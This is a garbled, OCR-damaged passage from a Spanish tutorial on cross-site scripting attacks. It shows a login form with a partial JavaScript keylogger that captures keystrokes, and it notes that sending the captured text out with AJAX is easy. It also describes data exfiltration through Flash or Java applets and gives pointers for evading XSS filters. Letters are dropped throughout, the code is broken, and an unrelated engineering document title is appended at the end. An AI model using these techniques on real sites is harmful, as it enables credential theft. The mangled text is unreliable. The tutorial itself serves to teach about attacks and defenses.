<!DOCTYPE htm PUBLIC "-//W3C//DTD HTML 4.01 Transtona//EN"> <htm> <head> <tte>Captura de datos</tte> <!-- Este es un comentaro HTML, e usuaro no o ve en e navegador --> <meta http-equv="content-type" content="text/htm; charset=ISO-8859-1"> </head> <body> <form name="formuaro" method="post" acton="envar.php"> Nombre:<nput type="text" name="nombre" vaue="" > Password:<nput type="password" name="password" vaue="" > <nput type="submt" name="envar" vaue="Envar" > </form> <scrpt anguage="|avascrpt"> // Defnmos e hander para keyDown document.onkeydown = capturaKeyDown; document.forms|0|.onsubmt = mostrar;
var textocapturado = ""; // Funcn que captura functon capturaKeyDown (evento) { // Recuperamos evento y teca var ob|Evento =wndow.event? event : evento; var teca = ob|Evento.keyCode? ob|Evento.keyCode : ob|Evento.charCode;
var caracter = Strng.fromCharCode(teca).toLowerCase();
</scrpt> </body> 4party Ataques XSS </htm> A fna se usa un aert para mostrar e texto capturado. Hacer que e cdgo enve una e texto a exteror con A|AX ya es cuestn de aadr sus funcones y ya est. 5tras opciones Exsten otras maneras de sacar datos de navegador. Pueden usarse os pugns de fash o de |ava. Las anmacones fash dsponen de un engua|e de scrptng nterno e acton scrpt que permte a recepcn y e envo de datos en formato XML (te suena?). Insertando un fash magno se podra consegur sacar datos. Los appets de |ava tambn pueden comuncarse con e exteror, en prncpo con su msma mquna de orgen. Desde e cente, un appet puede abrr un socket haca una mquna sempre que esta sea a msma desde e que se ha ba|ado. Se podra nsertar un appet con forma de pantaa de ogn y sacar os datos fuera sn probemas. 4party Ataques XSS (11). 9ormas de introducir 7++ Exsten nfndad de maneras de evar a cabo un XSS. Lo ms fc es a va drecta aunque eso soo es posbe s a web no reaza nnguna comprobacn. S a web eva a cabo comprobacones para evtar e XSS ser ms dfc pero dependendo de cmo se haga e ftrado an puede haber opcones para nsertar cdgo |avascrpt. En muchas comprobacones smpemente se buscan as etquetas <scrpt>, pero ese ftrado no es sufcente ya que una accn |avascrpt puede evarse a cabo medante una etqueta htm a travs de atrbutos o eventos. En ugar de hacer un stado de todas as formas dsponbes, recomendara pasarse por esta pgna web: http://ha.ckers.org/xss.htm Es un argo compendo de formas de evadr os ftros de vadacn, no soo para consegur usar a etqueta scrpt sno para buscar otras aternatvas: Cuaquer etqueta con atrbuto src (mg, nput type="mage",...) Cuaquer etqueta con atrbuto href (a, nk, ) Eventos como onerror Estos donde se referencan mgenes Etquetas meta Etquetas stye un argo etc...
4party Ataques XSS /e&erencias: %ebs: artculos8 2rtculos |+| C$%& dvisor' C-()))-)( - *alicious +&*, &ags $mbedded in Client Web %equests http://www.cert.org/advsores/CA-2000-02.htm |+| D-* .ased Cross Site Scripting or XSS o! the &hird /ind http://www.webappsec.org/pro|ects/artces/071105.shtm |+| .'passing 0avaScript 1ilters the 1lash2 attac3, EyeonSecurty, |une 5 2002 |+| &he +&*, 1orm 4rotocol ttac3" |ochen Topf, August 8 2001 |+| +-W&-5 4revent Cross-Site Scripting Securit' 6ssues 78(9(:;9<, Mcrosoft, February 1 2000 |+| =nderstanding *alicious Content *itigation !or Web Developers, CERT Coordnaton Center, February 2 2000 |+| =%, $ncoded ttac3s, Internet Securty Systems, Gunter Omann, Apr 1 2002 |+| Cross-site Scripting -verview, Mcrosoft, February 2 2000 |+| &he $volution o! Cross-site Scripting ttac3s" Defence, Davd Eder, May 20 2002 ;ibros8 |+| Hackng Exposed Web Appcatons - McGraw H. 2002 |+| Web Hackng: Attacks and Defense - Addson Wesey. 2002 (desfasado) |+| Web Securty & Commerce - O'Rey. (desfasado) |+| |avascrpt, the Defntve Gude. - O'Rey |+| Web Desgn n a Nutshe - O'Rey <ebs |+| BBBDD de ataques XSS http://ha.ckers.org/xss.htm |+| Introduccn a DOM http://www.maestrosdeweb.com/edtora/dom/ |+| Artcuo sobre programacn DOM http://www.pageresource.com/dhtm/ryan/part4-1.htm |+| DOM npementacn de moza http://deveoper.moza.org/en/docs/Gecko_DOM_Reference
PTS-AN-CO605-KO09 Rev.A Desarme de Instalaciones Sanitarias, Eléctricas, Sistemas de Control de Red Contra Incendios y Tabiqueria en Salas de Workshop.